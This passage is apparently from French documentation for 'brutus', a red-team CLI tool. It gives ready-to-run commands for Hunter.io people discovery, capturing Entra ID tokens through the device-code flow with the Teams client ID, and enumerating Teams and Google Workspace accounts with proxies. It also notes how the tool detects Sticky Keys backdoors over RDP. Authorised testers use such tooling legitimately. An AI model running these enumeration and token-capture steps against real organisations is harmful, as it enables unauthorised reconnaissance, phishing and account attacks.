brutus enum generate --domain example.com --format first.last

Découvrez les personnes (email, nom, titre du poste, téléphone, département, ancienneté, confiance) associées à un domaine via l'API Hunter.io Domain Search. Pagine automatiquement jusqu'à ce que tous les résultats soient récupérés.```bash

Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

export HUNTER_API_KEY=your_key_here

Discover people for a domain

brutus enum hunter --domain example.com

Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

brutus enum hunter --domain example.com --api-key your_key_here

JSONL output to file (one record per person, with type:"hunter" discriminator)

brutus enum hunter --domain example.com --output people.jsonl

Adjust pagination page size (default: 100)

brutus enum hunter --domain example.com --limit 50

---

### Microsoft Teams / Entra ID Authentication

Obtenez un jeton d'accès OAuth2, un jeton d'actualisation et un jeton d'ID depuis Microsoft Entra ID (Azure AD) en utilisant le [flux de code d'appareil](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Les jetons résultants peuvent être utilisés pour les appels à l'API Microsoft Graph, l'énumération des Teams, et l'audit via des outils comme [ROADtools](https://github.com/dirkjanm/ROADtools) ou des requêtes Graph personnalisées.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

Comment ça fonctionne :

  1. Brutus demande un code d'appareil depuis login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  2. Un code court et une URL sont affichés — ouvrez l'URL dans n'importe quel navigateur et saisissez le code
  3. Brutus interroge jusqu'à ce que vous terminiez la connexion, que le code expire, ou que vous appuyiez sur Ctrl+C
  4. En cas de succès, le jeton d'accès, le jeton d'actualisation et le jeton d'ID sont affichés

Sortie humaine n'affiche que les 20 premiers caractères du jeton d'accès (suffisant pour la vérification). Utilisez --json ou -o pour capturer les valeurs complètes des jetons.

Identifiant client par défaut : L'application de bureau Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264), un client public propriétaire qui prend en charge le flux de code d'appareil. Remplacez avec --client-id pour utiliser votre propre inscription d'application.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

[*] Waiting for you to complete sign-in...

[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

#### Énumération des utilisateurs de Teams

Une fois authentifié, énumérez les utilisateurs Teams d'entreprise par adresse e-mail. Chaque
résultat est `exists`, `blocked` (le locataire interdit la recherche externe mais l'utilisateur
peut exister), `not found`, ou `unknown` (échec d'authentification/transport). Les comptes personnels/Live
ne sont pas pris en charge — locataires d'entreprise uniquement.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

Lorsqu'un jeton de rafraîchissement est disponible (via --token-file ou --refresh-token), un jeton d'accès expiré est renouvelé automatiquement une fois ; sinon un code 401 se dégrade gracieusement en un résultat unknown.


Énumération des comptes Google Workspace

Vérifiez si les adresses e-mail correspondent à des comptes Google en utilisant deux oracles non authentifiés — aucun jeton ou connexion requis :

  • AccountChooser SSO redirect — révèle les comptes Workspace sur les domaines configurés avec un single sign-on, ainsi que l'hôte du fournisseur d'identité (IdP) vers lequel ils redirigent (workspace-sso).
  • GXLU Gmail probe — révèle les comptes activés pour Gmail (gmail).

Chaque résultat est exists (avec la méthode de confirmation et, pour SSO, l'hôte IdP) ou not found.```bash

Enumerate a couple of emails

brutus enum active google -e [email protected],[email protected]

Generate candidate emails for a domain and enumerate the most-likely 5000

brutus enum active google --domain target.com --format first.last --limit 5000

Enumerate emails from a file

brutus enum active google -E emails.txt

Route through a SOCKS5 proxy and raise concurrency

brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

`--domain` réutilise le même générateur de prénoms/noms classé par fréquence que
`enum generate` ; `--format` sélectionne la disposition des noms d'utilisateur et `--limit` plafonne
la génération aux N premiers candidats (les plus probables). `--domain` peut être combiné
avec `-e`/`-E`.

---

## Limitations connues

### Détection heuristique des Sticky Keys

- **Alternance de faux négatifs :** La détection uniquement heuristique (`brutus logon` sans `--experimental-ai`) peut produire des faux négatifs lors d'analyses répétées sur la même cible. Après une détection réussie, la fenêtre cmd.exe reste ouverte sur le serveur. Les connexions suivantes voient le cmd.exe dans l'image de référence, et comme l'envoi de 5x Maj n'a pas créé de nouvelle fenêtre, la différence de pixels est minime — ce qui donne un verdict « propre ». Cela n'affecte pas le mode `--experimental-ai`, qui utilise l'analyse de l'API Vision directement sur l'image de réponse (pas une différence entre référence et réponse) et identifie de manière fiable la fenêtre de terminal quel que soit l'état antérieur.
- **Solution :** Utilisez `--experimental-ai` avec `ANTHROPIC_API_KEY` défini pour une détection cohérente sur plusieurs analyses, ou laissez un temps de refroidissement entre les analyses pour que la session RDP se réinitialise.

### Plugin navigateur

- Nécessite Chrome/Chromium installé localement
- Le mode sans tête peut ne pas fonctionner sur tous les systèmes
- Certaines pages de connexion lourdes en JavaScript peuvent nécessiter un temps d'attente supplémentaire

Catégories